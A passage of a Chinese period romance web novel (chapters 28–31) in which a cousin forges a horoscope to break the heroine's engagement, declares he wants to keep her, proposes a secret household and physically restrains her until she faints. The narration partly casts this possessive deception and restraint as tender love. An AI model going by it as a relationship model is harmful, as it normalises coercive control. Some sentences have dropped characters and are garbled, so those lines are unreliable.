但祁雪峤凑到离祁泠很近的地方,坐在她身边,与她喝酒,简直是胡闹玩闹。 祁雪峤斜坐着,腰间挂着的香囊便映入祁清宴眼中,他离远看,总觉其上绣纹十分眼熟,捻出袖中手帕,宽大的袖袍下仔细摩挲着上面绣着的如意纹。 走向形状,颜色相接,全然一致。 俨然出自一人之手。 原来如此…… 上次他在祠堂撞见重返回去、鬼鬼祟祟的祁雪峤……原来他是去偷拿祁泠绣的香囊,还明目张胆长久挂在腰间,什么心思昭然若揭。 他与祁泠一房,竟然怀揣着这般见不得人的心思! 祁泠呢,可曾发觉? 祁清宴眸色沉沉,内里藏着探究之意,直直落在被围着的女娘面容上。 祁泠眼波柔软,漂亮如若星辰的眼眸弯起,越发显得眉目娟丽如画,又因吃醉了酒,多露出点娇憨神色来。她端起酒盏与祁雪峤递过来的酒盏相碰,不知祁雪峤说了何事,逗她笑得身子往后一倾,樱唇一张一合,又与他说话。 说的什么,祁清宴自然听不到。 她没发觉? 祁雪峤心思如此不纯,她看不到他腰间挂着她亲手绣下的香囊么? 哦,即使看到了,她也不会认为祁雪峤居心叵测,还会单纯猜是祁雪峤在祈福后恰巧被分到了她绣的香囊。 因为她将其视为兄长,无论她表面对祁雪峤有多疏离,内里到底还是将他看做一家人。 这可恶的一家人。 可祁泠再不会将他看做亲人了。 目睹着祁泠与祁雪峤谈笑,祁清宴心中怄得让人发晕,面色阴沉沉地盯着两人。 深藏在心中的卑劣不堪以此为机,忽而全部涌了出来,浑身犹如被火烧一般,令他几乎坐不住。 从小被灌输礼义廉耻,尊卑有序。即使他内心对此嗤之以鼻,可总要扮得几分合群模样。 他自己想做要做的事,又被家中寄予厚望,他做不到谢子青那般随心从心,也知晓若是与祁泠一处易被世人诟病。 加之祁泠并不喜爱他。他曾生了随她去的心思,她嫁人便嫁人了,他在祁家护她一直无恙,偶尔相见,偶尔叙话也好。 可是,对她暗有觊觎之心的祁雪峤,她能以笑靥相对,为何偏冷待于竭力扮做兄长模样的他? 既然事已至此。 反正事已至此。 他还做什么兄长? “三郎?” 祁观复见祁清宴面色不对,贴心问:“可是想起什么要紧事,你自去罢,不必管我。” 祁清宴垂眼,再抬起时已经恢复寻常神色,他应道确实想起要紧事,不过起身时同祁观复道:“四弟倒是妹妹们亲近,真是亲和友善,令我好生羡慕。四弟可曾定下官职?叔父初回建业,事多不便,要有难处可来寻我。” 一提起儿子,祁观复难免羞愧,自己不成器的儿子能入朝为官,反倒是祁清宴太过出名,又因父亲和叔父都在朝中,他只能打理府中事。为了避免皇帝猜忌,还要不知多久才能有官职。 他一时汗颜,道:“雪峤是个不成器的,往后还要靠三郎帮衬。整日玩闹算什么样子?叔父这几日便好好规训他,让他好好读书。” 祁清宴笑着答应。 …… 几个小辈破天荒聚在一处,老夫人那边散了,老人家看着几个难得欢喜,特意嘱咐他们多玩些。 趁着人齐全,多在一处聚聚,不多时便要散了。 祁云漪和阿濯两个小的被各自的娘亲抱走,让哥哥姐姐们好好玩。 祁云漱祁雪峤姐弟也跟着祁望舒她们玩做一团。这些小的之间归根到底没有大仇怨,只因着父母辈的恩怨,对彼此有些看法,真玩起来也便不觉了。 直到最后天色渐晚,月盘盈圆,老夫人才派听荷来传话,让大家赶紧散了,各回各家去。 走时祁望舒还依依不舍,拉着祁泠不松手,而祁泠醉的昏天暗地,勉强维持些清醒,被银盘扶着往二房走。 银盘累的诶呦诶呦,想着明日等祁泠睡醒,一定要同娘子说,不要用那么酒了。 老宅通往二房小门,有个小园子。刚走到这,沉弦不知从何处冒了出来,一声“银盘姐姐。”骇了正发牢骚的银盘一跳。 等借着光看清沉弦的脸,银盘一手扶着祁泠,一手拍了拍被吓得狂跳的心,问道:“你怎么在这?” 沉弦道:“姐姐,好似要下雨了,姐姐可知何处有伞?能否带我去取一把,让主子淋了雨就糟了。” “雨?” 哪里有雨? 银盘抬头望了望天色,月光澄澈,万里无云,怎么也不像要下雨的样子啊。她没放在心上,只道:“没事,我带着娘子快些回去便是了,前头就到二房了。” 沉弦支吾两声,随后抬头,“银盘姐姐,方才我出来的早,确实落了雨。” 那是她带着娘子出来的太晚了,没遇上。 银盘知道何处有伞,就在二房前头的库房里。她想让沉弦去找旁人,可四处一望,往常总有下人走动的园子今个却空荡荡的。 但她还扶着娘子呢啊。 沉弦有眼力见,说道:“不如让三娘子与我们郎君一处呆会儿吧,咱们拿伞过来,万一等下落雨怎么办?可不能让娘子与郎君着凉。”他说着回头指了指。 银盘顺着沉弦指的望去,假山中有一凉亭,祁清宴确实坐在内里。 她不知道两人闹崩了,只当娘子要嫁人才不再去琅玕院,想了想答应下来,将祁泠扶到凉亭处,还拜托祁清宴替她看顾祁泠。 祁清宴自然应好。 第29章 第二十九章【VIP】 祁泠今日又被祁望舒劝得用多了酒。 上次在庄子,祁望舒说她们好不容易出门,庄子上没有其他主子,只她们两个,自在惬意,值得庆祝。 很有道理。 若不是老夫人发话,她们两皆是未出阁的娘子,断不会有去庄子住几日的机会。 这回祁望舒说不日祁泠将嫁人,远赴宣城。等过了年节,再开春,她自己也要从祁家嫁出去了,姐妹两个再难相见。 也甚有道理。 祁泠也随着祁望舒一同,闹得放开了些,不再一直拘着。可她酒量怎能与有空便偷偷小酌的祁望舒比,此刻已然困得发晕,只想陷入暄软的被褥里,把整张脸埋进去。 尚存几分神志,昏睡晕沉之问察觉脸颊冰冷。凉得她激灵几分,脸颊离开石桌,稍抬眼睑,措不及防撞进一双乌墨又清透的双眸中,内里深邃,隐晦不明。 祁清宴维持这个姿势,不知看了她多久。 祁泠见到他,下意识就躲开,已经养成习惯、无需思索的习惯。清醒时如此,现下意识不清、晕乎乎时也是如此,一只手撑着冰凉的桌案,踉跄着站起身来,想要逃走。 只是两条腿都软绵绵的不听使唤,方才又银盘扶着,如今没人照料,又能跑去何处? 桌下昏昏暗暗,被挪不动的石凳一绊,脚下一软,朝着地上摔去。 天旋地转之时,陷入并不柔软但温热有冷香的怀抱中。 …… 祁雪峤今日也用了不少酒。 宴散后,他先送醉的一塌糊涂的祁云漱回了二房,柳姨娘院中。今日父亲没来,独自宿在书房,其实只有柳姨娘寻由头邀父亲,他才会来此看看子女。 平日无事是不来的。 值此团圆日,柳姨娘没能将人邀来,只剩她一个留在二房,憋了一肚子火气,看到醉倒的祁云漱更气的不打一处来,训斥她伤风败俗,毫无淑德,丢了女儿家的脸,怎会被父亲看重? 而祁云漱躺在榻上,大声反驳着:“祁泠用了,祁望舒也用了,她们两人才是闹得最欢的,也没长辈管她们,姨娘为何要来说我?” 柳姨娘压低声音唾骂道:“你一个有亲娘的,和她比作甚?也不要攀着人家大娘子,她是改姓过来的娘子,背后多少人说三道四,你也想让人在背后说闲话吗?” 祁云漱说不通,气急又道:“我不和她们比,那你儿子也掺合了!和她们一同玩乐,寻常不声不响,不常与咱俩说话,今个不知笑得有多开怀!” 祁雪峤在外问,知晓很快柳姨娘就会过来骂他,出了屋,没回他自己的屋子去,只站在院中。还能听见内里姨娘与姐姐的争吵声。 哪一房柳姨娘都能挑出不好的地方来,大房是清高端着架子,冯夫人假大度针对他们祁泠是养不熟的白眼狼,三房不要脸皮,占了二房原来院子,他们回来后只能住在这方小宅子中。 可旁人又怎么看待他们呢? 祁雪峤每次想起这个都心中发闷,哪个兄长姐妹将他们姐弟当成了真正的亲戚,不免因庶出对他们有偏见,祁泠也时常疏远他。 在院中也不消停,身后小厮走上前几步,劝道:“郎君,咱们回房去吧,过会儿姨娘见不到郎君,会动怒的……” 祁雪峤皱眉道:“什么都听姨娘的,不如你留在这里,做这屋的奴婢好了。” 不管他做了什么,小厮都会如实禀报给柳姨娘,举止稍有差错,柳姨娘必会劈头盖脸骂上他一顿,全然没有在父亲面前的温和小意。 时日久了,他也不愿住在家中,只盼着早早从拥挤的小宅搬出去,有自己单独的院子住。 他朝门外走,小厮低垂着头,只脚步缓了缓,复又跟上来。 祁雪峤借着酒劲,也有些怒了,责道:“我只是去院中吹吹风,你再跟着我,明日我一早就找个*人牙子来将你发卖了去,看姨娘会不会赎你回来!” 小厮这才不继续跟上,一时左右为难,不知如何是好。 祁雪峤出了柳姨娘的院子,防着小厮偷偷跟上,站在一偏僻处吹风醒酒,也顺便看着小门附近的动静。他记得祁泠被望舒抱着不撒手,约莫着她还没回来。 没见到祁泠,只看到银盘与一书童从小门进来。 小书童一脸懵懂样子,银盘侧着头,嘴没停,么话。 那书童仔细瞧起来也眼熟,祁雪峤仔细想一阵儿,才常跟,琅玕院的书童。 这么晚了,琅玕院的书童为 祁泠怎么没剩下银盘,玉盘牵着祁云漪跟冯夫人一同先走了。 三堂兄又在何处? 祁雪峤神情困惑,想不明白到底怎么回事。有关祁泠的事,他总是会上几分心的。 少年慕艾,人之常情。家中有幼时一同长大的祁泠,看见再貌美的娘子也是心无波澜。知道祁泠只是看起来冷冰冰的,其实从未针对看不他。 也偷偷想过,要是能直接娶了祁泠就好了。 但祁家二房还轮不到他来做主,此事他这也知道绝无可能。 姨娘要是知道了他的心思肯定骂死他,父亲恐怕又要露出失望的表情,说不定会打他一顿。 而冯夫人……冯夫人不喜他们母子三个,更不会将视亲女的祁泠许给他了。 祁雪峤只能将这份少年绮思暗藏在心中,寻到机会便与祁泠一处说说话就好了。 有时,只恨他生得晚。 要是他再大几岁,能挣些威望回来,能做二房的主就好了。 他等了许久都没见到祁泠,便出了小门,打算去老宅找找祁泠,万一她还没回去呢? 走到园中,祁雪峤竟发现这处没有一个仆从,乌黑无灯,只有月色堪堪照清前路。 一声泠妹妹混在嗓中,方要唤出声,却听到隐约的说话声,他鬼使神差地住嘴,循声找去。 假山后方,锦靴踩坏枯枝,发出细微脆响。 醉了酒的祁泠不同往日内敛,持着分寸,只睁着水汪汪的眸子,懵懵望着来人,连抗拒也微弱。 祁清宴掌心拖着她娇嫩的脸庞,看着瘦弱,可落在掌心却软,他轻轻揉捏几下,祁泠并不疼,可是还是不舒服,娇气地蹙起眉来,往后继续躲。 祁清宴问她:“我是谁?” 祁泠眨眼极慢,倚着祁清宴的手,尽力睁大、潋滟的眸倒映着他一人面容,能辨认出对面是祁清宴,连两人身处何处都不知了。 “祁清宴。”她声音软糯糯的,仿若沾染酒香,拉得很长。 “谁?” “祁清宴。”祁泠又乖乖答了一遍。 祁清宴倾身过去,鼻梁几欲相贴,微微错开,她鼻息之问有几分酒气,混着她身上清香味道,也让人觉不出来往常的讨厌了。 祁泠下意识往后躲,可脖后被一只手稳稳扶住、按向前方,不许她有一丝要后退的念头,只能任由他温热的呼吸侵染过来。 祁清宴轻声问:“真一直不理我了?” 祁泠睫毛低垂,酒去掉遮掩,透漏出几分本心来,她之前毫无防备信任冯夫人,后来又加了他。 旁人骗了她,她不会如此伤心,可偏偏是他。 即使醉着,可还是苦涩盈在心问,她委屈地嗯了一声,眸中隐有雾气,眼尾微微耷落着,又一直望着他。 让人心里止不住发软、变柔,柔软成一滩水来。祁清宴指腹摩挲她脸颊边缘,诱着问她,“为何?” 祁泠慢吞吞地答:“你骗我。” “以后再不骗你了,也不理?” 祁泠当真认真思索了会儿,眼珠缓慢地转着。要是再也不骗她了,又像冯夫人一样对她好的话…… 冯夫人和从前对她好的祁清宴一齐浮现在眼前,她鼻尖酸酸的,顺势趴在他掌心上,抽了抽鼻子:“可是我要走了,去好远好远的宣城。” 祁清宴闻言心中一紧,似被猛然攥了一下。从前也有过的感觉,可他那时还未察觉,直到如今才反应过来,原是心疼与怜惜,不禁将声音放得更轻缓,“不会。” 不会走的。 说罢,又爱怜地摸了摸她脸颊,趁着她如此乖顺好说话的时候,不必藏着想做的事。 祁泠呆呆看着郎君的脸越来越近,挺秀的鼻尖与她相贴,传来一丝冰凉意。 从未有过的极其近的距离—— 她不由自主地屏住呼吸,恍若空气都凝滞住了,静谧而长久的留在这一瞬。 脑中浆糊一般,她想不明白这是什么情况,只望着祁清宴的脸,眼睛眨啊眨,愈发缓慢,最后阖上。 祁清宴一手拖住睡过去的女娘,眼眸低垂,侧望而去,瞥见假山后的锦衣一角,视若不见。 拦腰抱起祁泠,送她回去。 两人走远,远到再看不见一点身影。 假山后面的祁雪峤依旧浑身冰冷,双脚恍若被定在原地,僵硬得无法动弹,脑子麻木到转不动。 他到底看到了什么!? …… 翌日。 正午的曦光透过床帘落在祁泠眼皮上,闪了闪,她意识逐渐清醒,坐起来,抬手揉着额问。 往日她起身睡在外问的银盘都会赶过来,今个却迟迟没有动静。 这回酒醉醒后比上次好上许多。 不再头疼欲裂,只是嗓子依旧干渴,吞了刀子似的难受,她干哑费力地喊了几声银盘,闻声推门进来的人却是玉盘。 玉盘比银盘心细,听见祁泠喊人的声音发哑,就端了杯茶进来,递给祁泠。 祁泠先喝了几口茶,抬眼看到玉盘凝重的面色,而银盘候在门口鹌鹑似的低垂着头,一副做错事的样子。 皆与寻常不同。 祁泠问:“怎么了?” 玉盘斟酌着怎么说,先道一句:“昨晚生了些不好的事……娘子睡得熟,夫人没让叫醒娘子。” “你说吧。” 昨夜。 祁泠的记忆渐渐回笼,想起来了,银盘扶着她回二房,路上似乎遇见了祁清宴,然后怎么了? 她正努力回想着,快想起来了,就差那么一点—— 玉盘也开了口,“瑞安王府的郡王妃昨晚殁了,大夫人和咱们夫人今早去瑞安王府吊唁了。” 祁泠放下手中茶杯,思绪停滞,不再想昨晚,反倒想起来她曾在王府隔远见过一次郡王妃,还有祁望舒之前同她说过的,这位郡王妃可怜的身世。 到底如祁观岚所担忧的那般,郡王妃最后郁郁而终。 “还有何事?” 玉盘的头垂得更低,仿若在说什么禁忌的事,声音模糊不清,“娘子同何家的婚事……怕是不成了。” 第30章 第三十章【VIP】 不成……? 同何家的婚事,起初也是祁泠权衡利弊后的选择,不愿在祁家久留,能尽快离开便好。后来逐渐接触何家,接受了以后的相敬如宾,平淡如水的温馨日子。 唯一一点不好,是宣城太远了。可也正因为远,才能躲开建业这些人。 如今告诉她不成了。 鬓边两侧泛起细细针扎的痛意,恍若一下被抽干力气,祁泠往后靠,倚在架子床雕花的围子,在心中反复默念不成两字。 连玉盘都知晓不成,恐怕当真没了转圜的余地。 她的婚事太过坎坷。从前她挑剔,不愿凑合忍让,如今她接受了,又忽而不成了。 祁泠无奈问:“为何?” 冯夫人将玉盘留下,便是为早些告知祁泠此事。玉盘声音也低:“合婚的批语今早才到府上,上面言娘子与何家郎君八字不合,具体说什么奴婢也不知,只是夫人早间看到批语,脸色不大好,说婚事只好作罢。” 祁泠不大相信八字,也想不到竟是此处出了差错。可长辈们总宁可信其有,不可信其无。 祁家怕是许多人都期盼她嫁出去,何家也想娶,无人会在此处动手脚。她心乱如麻,为何偏是如此荒谬的缘由?让她找不到法子反驳,当真不可转圜了。 外间的小丫鬟兑了热水,端着盥洗铜盆进屋,银盘接在手中,抬起步子往屋内去。玉盘一个眼刀飞过去,银盘又委委屈屈地停了步子,垂着头,两只手不停扣着铜盘边缘。 玉盘银盘姐妹两个的举动,落在祁泠眼中。明白玉盘故意当她面责怪银盘,是怕她生气,她按了按眉间,“银盘,怎么站那么远,过来呀。” 银盘把手中东西放在架子床对面的小桌,搭着床沿坐下,眼里噼啪砸下泪来,又抬起袖子抹掉,往日话多的丫头,今日一个字也说不出来。 祁泠看得心疼,一时连何家的事都忘在脑后,问玉盘:“这是怎么了?” “娘子别理她,”玉盘何尝忍心妹妹如此,可银盘当真犯了错,等到夫人回来听说了定要收拾她,今日只能靠着祁泠说情。 她如实道:“娘子昨日醉了,这小妮子竟将娘子一人留在后院,不赶快回去守着,在二房同人闲聊得起劲儿,昨晚是……是三郎君送娘子回来的。” 玉盘昨晚在前头听了丧信,奉冯夫人的命过来先知会祁泠一声,明日要去吊唁。可玉盘没看见祁泠人影,只见与小书童说得正欢的银盘。 两人看了她,像耗子见了猫,一个字也蹦不出来。 她急急问娘子在何处,银盘说在后院,她上前拧住银盘耳朵,小书童为银盘弱弱辩道:“无碍,我们郎君也在……” 话正说着,辛夷阁门口的小丫鬟噤若寒蝉,声若蚊呐唤着来人。玉盘回头一看,祁清宴拦腰抱着人,裙角荡啊荡。而她们娘子晕乎乎地窝在他怀里,怕是连人也分不清了。 虽然是兄妹,但这……未免太过亲近了。 再者,祁泠身边是有祁清宴看着,可郎君是主子的,又怎会与她们一样照料周全,若人家起身早走,只剩祁泠一人又该如何是好。 闻言,祁泠的头更痛了,面前隐隐约约浮现出祁清宴的脸来,极近……是她的错觉还是怎么? 她按了按眉间,拉过银盘的手,道:“我知晓了。罢了,此事遮掩下来,不必告诉母亲。” 玉盘隐约感觉不好,可要与冯夫人说了此事,银盘少不了责罚,又撞上祁泠婚事泡汤,在此多事之秋,银盘还是老实些的好。 她明白祁泠的考量,带着感激应了好。 方才送铜盘的小丫鬟又进来传话,夫人回来了。祁泠赶忙盥洗过,换了身素白的衣裳便去了前面正院。 冯夫人起早去的瑞安王府,折腾半日心神劳累,倚着软枕坐在罗汉床上。她眉目间遮挡不住的疲惫,拉祁泠到近旁,“阿泠,玉盘与你说了?” 祁泠点头。 冯夫人一声叹息,“何家的孩子倒是稳妥,但合该你们二人没缘分,原本万事稳妥,紧要关头又遇上如此糟心的事。阿泠,凡事强求不得,勿要因此忧心。” 祁泠沉默着垂头,握着袖口的手紧了紧,才开口:“母亲,不成便不成。我不信缘分,却想知道批语到底说了什么?” 冯夫人稍抬手,示意身边的箱中翻找,从最上边的抽屉里拿了子过来。 祁泠接过,打开,内里是一卷泛黄的纸团,极小,她将其展开,上:日时相冲,,弦易断,男不得善终。 看过如此批语,两家过的不好,何家又是心尖上的幼子,姻缘处处皆是,哪子犯险,有不得善终的预言呢。 祁泠将泛黄的纸张攥在手心,沉默不语,无端露出几分沮丧。冯夫人安稳着她:“阿泠,或许真是孽缘呢?你再多陪母亲一段时日也好。今个留下陪我用午膳罢。” ,应下。 冯夫人摸了摸她脑袋:“你来之前,我思量一事……你可想去外祖父家住上几月?”祁泠惊讶抬头,冯夫人的娘家不比宣城远,但离建业也有三五百里的距离。 提起冯家,冯夫人面色淡淡,“他们不敢对你不敬,你是祁家的人,自会尊着你。你也可带上漪漪,她满岁后还没见过外祖父和外祖母。” “母亲……”祁泠不是随便三言两语能被糊弄过去的女娘,从冯夫人异常中察觉出不对,声音急得带上哭音。为何要她和祁云漪都走,独剩冯夫人自己,她怎能放心! 冯夫人擦了她的泪,道:“不必担忧,不是我,是你……我觉得瑞安王妃今日待我太过亲近了,丝毫没有儿媳逝去的悲痛……阿泠,你是我如今最放心不下的人,没有婚约在身,还是先躲远些。” 为何态度会有转变。 祁泠转弯想到了,但不敢相信,郡王妃才刚过世……她问:“王府……有意让我为续弦?” 冯夫人不语。祁泠是祁家人,名声好听,身份又不高,如从前的郡王妃一般,皆是合适的人选。若王妃直白来问祁家,她绝不会同意,但怕对方求了赐婚。 忽而两件事一同砸下来,祁泠忍着咽下喉间苦意。她想起祁清宴,隐约浮现一个念头,追问:“母亲,郡王妃是何时没的。” 冯夫人:“昨日晚间,你们吃宴还没归来,丧信就传来了。” 她又问:“那退婚是何时?” “今早,你祖母派人从庙中拿回来的批语。免人作祟,当初秘密送去,何家或是旁人都不知道。” 祁泠渐渐理清脉络,八字不合……是真的八字不合,还是有人从中作梗? 昨晚……她见到了祁清宴,虽想不起来具体,但总归见到他就没好事…… 她自己琢磨着,竟将这些全联系在一起,想清后,面上血色尽失……是祁清宴打算送她去王府吗? 她恍若被人泼了盆凉水,心凉得透底,两只手垂落身侧,眼中凄凉又有些绝望。 她已经准备安静嫁人了,他还是非要不肯放过她,非要利用她的婚事不可么? “阿泠?阿泠……” 冯夫人面露担忧之色,眼尾细细的褶皱叠起,似乎近日又新添了几道细纹,鬓发中夹杂着几根白发,都诉说着她不再年轻,温柔的妇人已渐渐老去。 祁泠实在不忍她多操劳,站起身来,“母亲先用午膳吧,昨个儿我晚膳用了太多,有些积食……想回去再睡一会儿。”冯夫人看出她在硬撑,一时也不知该如何劝她,只温和道:“漪漪在瑞霭堂,晚膳前我派人接她回来,我们三个一起吃。” 祁泠点头,从正院出来却没回辛夷阁,径直找去了琅玕院,身边紧紧跟着银盘。 沉弦今日见到祁泠很是心虚,迎上来道声娘子好,坚持着盯着祁泠眼睛,与她对视,却因没有底气,眼神四处飘逸,“娘子,我们郎君在书房呢,吩咐过,娘子来了无需通禀。” 祁泠进了书房。银盘留在外面与沉弦大眼瞪小眼。挨了训的银盘紧紧盯着沉弦,意思你诓骗我,留给沉弦的只剩心虚愧疚了。 祁清宴静静等着。 不如往日那般闲来无事斜倚榻上,也未在案桌旁执卷相看,负手立于窗边,一身素衣,回头望着来质问他的祁泠,神色格外柔和,“你来了。” 祁泠站在门口,“你知道我会来?” “嗯,你会来问我。” 果真是他。 来之前,祁泠心底有几分不愿相信。知道他消息灵通,瑞安王府发生一切都躲不过他的眼。而且作为老夫人疼爱的孙子,什么事都经由他的手,定有机会去改批语。 她开门见山问:“是你吧,毁了我的亲事。”来时路上,她手中一直紧攥着批语,此刻被她丢到地上。 祁清宴瞧见了,他走近,似乎方从外归来沐浴过,周身携着冷香,在祁泠身前俯身,手拾起那批语。 郎君眼帘微低,鼻梁高挺,唇色极淡,轻轻启唇:“是我。” “此物由我亲手所书。” 纵使早就猜到结果,可还是没猜到是他亲手写的。祁泠在这一瞬间脑中嗡一声,整个人木木的,方才攥着批语的胳膊微微发颤,牙齿也打着战儿,挤出几个字,“你、你怎么能……?” “你们并不般配。他非良人,仗着好相貌红颜知己甚多,若成亲之后纳妾变心,你又该如何自处?此时退婚对你二人都好。” “你到底为何、为何这么对我!”祁泠才不听他的鬼话,死死压着的情绪在这一刻倾泻而出。 若他有几分遮掩、几分冠冕堂皇,她尚且能维持些许冷静,但他竟然如此风轻云淡说出这般的话? 由他所写——她的婚事在他看来不过玩笑么?两家长辈,乃至所有人,又被他戏弄股掌之间。 泪水在她眼眶里止不住打转,嗓间颤抖着几乎发不出来声,缓了许久,泪从柔软的脸颊滑落,她崩溃的声音随之响起,“你为什么一定要利用我?为何不能放过我。从前要退婚找上你是我的错……可你先要我送去五皇子府,我不愿,如今为何又要毁了我的婚事,打算让我去瑞安王府做续弦!?” 祁清宴方才不辩解,因为是确实他做的,如昨晚答应过她的那般,再不骗她,故而直接承认了。 可听到此,他难免眼中波动,带着惊讶意味,回过味来,也明白了她的想法。 他还以为是她知道一切后来质问,看来她并没想起来昨晚,耐心解释道:“祁泠,我没想过,只是凑巧罢了。” 祁泠并不相信,泪水不停滑落。 “非他人故,是我。”祁清宴走上前,扶住她颤抖不止的单薄双肩。 祁泠只听他道:“是我贪心,想要你久伴身侧。” 30-40 第31章 第三十一章【VIP】 祁泠望着他熟悉的面容,半晌没动弹,寒意从脚下涌起,如坠冰窖,思绪也被冻僵,无法思考,或是下意识避开理解他话中意。 只是微敞着、不停发抖的唇,出卖了她。 祁泠何等伶俐聪慧,心思细腻,怎么会不明白他在说什么? 话已出口,祁清宴望她的目光一如往日温和,却多了丝缱绻,留恋描绘她的轮廓,忽而觉得解脱。 近些日子,他一直为此所扰。起初不知自己的心思,因她置气疏离而思之念之。日后知晓,又犹豫几日。 此刻祁清宴轻叹一口气,终于能道:“我不想做你堂兄。那般,终有一日,你会嫁人,我们分开,再难相见,而我想你长留身侧。” 她从未这么想过! 从未生出如此大逆不道的念头。 祁泠眼神中充满不可置信,面庞僵硬,连一丝微弱的表情都无。如祁清宴初次听谢子青提及此事,两人皆是一般错愕。 祁清宴理解,能理解她初次听到过的惊惶失措,只觉掌心下的肩膀实在太过瘦弱,她多思又敏感,不由得将声音放得更轻,“阿泠,我知晓你不愿嫁人……此后我会护着你,这不是很好的法子?” 不对! 他说的不对!全然不对!! 在他隐含期待的目光中,祁泠的手放在他的筋骨显露的手腕之上,第一反应便是使尽全部力气推掉他放在她肩膀上的手。 “不行……不行……” 她想大声、坚决地斥责他,告诉他这是绝对行不通的事,可情绪太过激动,眼中滚出大滴泪珠,竟颤抖到无法开口,只能不停摇着头,逸出的声音哽咽又含糊不清,“不可以……” 祁清宴询问为何的话还未说出口,方抬起脚略微上前,祁泠却被他的微小动作吓得猛得退后一大步,“我们是兄妹!是亲人!都姓祁!所以不行!祁清宴,你……你死了这条心吧!!” 话音落下,琅玕院陷入一片沉寂,室内无声,只能听到些许她激动的抽噎、喘息声。 祁泠抬起哭得红红的眼,对上祁清宴视线,他乌泽的眸子一转,显露几分迟疑和困惑,又有置身其外的淡薄感,冷静地同她道:“可我们并无血缘,阿泠。” 祁泠大口喘息,心中剧烈跳动,他并不明白这些话对她来说意味着什么—— 她曾经视若兄长的人,从未将她当成亲近的妹妹,只是利用她,做壁上观。她知晓真相后失落、难过,明白身份差距,有了自知之明,再不奢求做他的妹妹。 但今日他竟说出如此荒唐的话? 毁了她的婚事,要困她于一方,只为一己私欲,又与见色起意,仗势逼迫的五皇子有何不同? 祁泠心神恍惚,倏然浑身无力,跌倒于地,扶地的掌心钝痛,也比不过心中密密麻麻的疼。 她讨厌、躲避他皆是因为心中有怨,因为他先对她好,从前所作所又确实上了她的心,扪心自问,她想让他知晓自己做错了,人心为重,容不得算计。 可他错的更离谱,算计着,又将她算计进去。 祁清宴俯身过去,伸手扶她,祁泠抗拒推搡他,素裙逶迤在地,不断后退。 祁清宴料箱到她会有几分抗拒,没想到如此强烈,他微起身,身影仍然笼罩着祁泠,他想的周全,安慰道:“我知晓你所顾虑,来日我另置一处宅院,也会与家中说清,此后你居于那边,若想归家,我陪你一同。” 祁泠神情一愣,姣好的面庞之上挂着几滴未干的泪水,祁清宴以为说动了她,却见女娘仰着头,愈发难以置信:“……你要我当你的外室吗?” 另置一宅,听不到闲言碎语,在祁清宴看来是周全的法子。可祁泠只求安稳,于她而言,便是无名无分的外室。 比妾室还不如的外室! 祁清宴正欲解释,祁泠猛得挣扎起来,“恶心!你真恶心!” 祁清宴被骂的一愣神,在他停顿之际,祁泠爬起来狼狈向外跑去。祁清宴怕她走,下意识攥住她手腕,把挣扎的女子带到自己身前。 祁泠用尽全身的力气挣扎、去打他,却被困在他怀中,被腰间横亘的手臂禁锢住。 衣衫在厮闹之际散开,祁泠无法,低头一口咬在他脖颈下方,她使了大力气,听得一声闷哼,牵制她的人却无一丝要放手的意思,反倒将她抱得很紧。 祁泠用力,并不锋利圆润的牙齿,也能咬破,。 “阿泠!” “不要,剧烈挣扎着,又手脚并用地去打他,祁清宴头一次察觉出女子的难缠,他甫一松手,,手脚也垂了下去。 他低头,祁泠双目紧闭,晕了过去,顿时大惊,起,太过急切,喊了几声疾医,中。 朴正卿连,有人找就出去看诊,没有便留在琅玕院,悠闲歇上几日,,一同追忆从前。 结果祁清宴彻夜未归,不知去了何处,燕徊梁在这团圆日子约莫着在何处难受偷着哭呢,姓谢的小子照常找不到人影,只好作罢。 听着书房喊人,他急急背着药箱来,还以为是祁清宴遭人算计中了毒。结果破天荒见到床帐内里多出一位娘子,容色难得,憔悴虚弱之际也能看出是个大美人。 他用一种异样眼光看了祁清宴好几眼,略把脉一把,却失了玩笑意,正色道:“怒后不振,气机郁滞,气血不通,你怎么人家娘子了?” 祁清宴沉默一阵儿。 “上次的药是给她?” 他垂眸望向帐中女娘,她竟惊诧到这般地步,“劳烦朴老开个药方,调理她的身子。” 朴正卿唔一声应下,施了几根针,等人睡熟了,他背着药箱走,药童没来,又放心不下旁人,只好自己亲自熬。 出门,见贡嘉站在院中,直愣愣的傻大个,这孩子和他一样许久没到琅玕院来过了,看着琅玕院的景色,脸上写满悠闲。朴正卿凑上前,打听着:“诶,贡家老二,里面是谁?” “三娘子啊。”贡嘉毫无迟疑,干脆应道。 当真是傻的,怪不得双生的兄弟,没有他兄长受器重,朴正卿横了他一眼,捋了捋大多白了的胡须,道:“行几又有何关系?老夫问的是,这是哪家的娘子。” “啊?”贡承觉得对面的小老头莫不是整日看诊看傻了,还问他是谁家的,他四处看了看,确实是琅玕院没错啊,搔搔脑袋,“额……咱们府上的。” “嗯。”朴正卿反应过来,“啊……?”语气变了个调,手一用力,薅下来两根胡子。 …… 落日的余晖金光融进室中,醒时发现身处陌生的床帐内,周围熟悉的熏香一瞬浸满鼻息,恍若仍在他身边。 祁泠立刻反应过来自己身在何处,仓惶地坐起,猛然起身头晕目眩,伸手撑住旁边的架子才能稳住身子。 待思绪清醒,眼前也多了衣袍一角。 “先用些粥,养养胃再用旁的。”他的声音响起,粥的香气也随之弥漫。祁泠醒时喉咙干痛,许久没用过吃食,腹中空荡荡的难受,明明急于果腹,却一点也不想吃,喉间好似被东西梗住。 眼前一片暗沉,适应许久,亦沉默许久,她干涩起皮的唇才开合,“我不会离开母亲,不会离开祁家,直到嫁人……往后不会在琅玕院或老宅扰你的眼,你只当我不在。婚事不要你管,何家怎么样,何岫如何不好无需你说。我的婚事,只要你不掺和,再坏的结果我都认了……” 祁清宴扶住碗边中松开又攥紧,她醒来之后态度没有一丝缓和,反倒想出解决的法子,沉默过后道:“你讨厌我么?为何旁人可以,我不行?” 祁泠只是攥着袖角垂着头,不言语,也不抬头去看他的眼睛。 祁清宴前几日在心里纠结之时,想过让她离开。但或许他内心隐约明白意识到自己的心意时,便打定主意留下她,才会扣下两人八字,又派人去细细查了何岫。 何岫曾醉酒说些狂言,其父母兄长耗了半数家财去平息,又与非良家之女相好过。这般的人,实在配不上她。 婚事多变。 祁泠此刻心头涌上几分悔意,曾经打定主意嫁于人家为正妻,不求夫妻恩爱,只要无二心,子女绕膝,一再挑剔,如今却沦落到如此境地。 她声音极小极轻,道:“若非要选,即使去瑞安王府,我也不要做你的外室。” 她竟宁愿去瑞安王府,与一个傻子朝夕相处?不知会受到怎样折磨,也不愿意留在他身边!? 祁清宴惊诧到沉默许久,但事到如今,他是无论如何都放不了手的,只稍微松了口,“你不愿离开,在祁家也好,不令旁人知晓。” 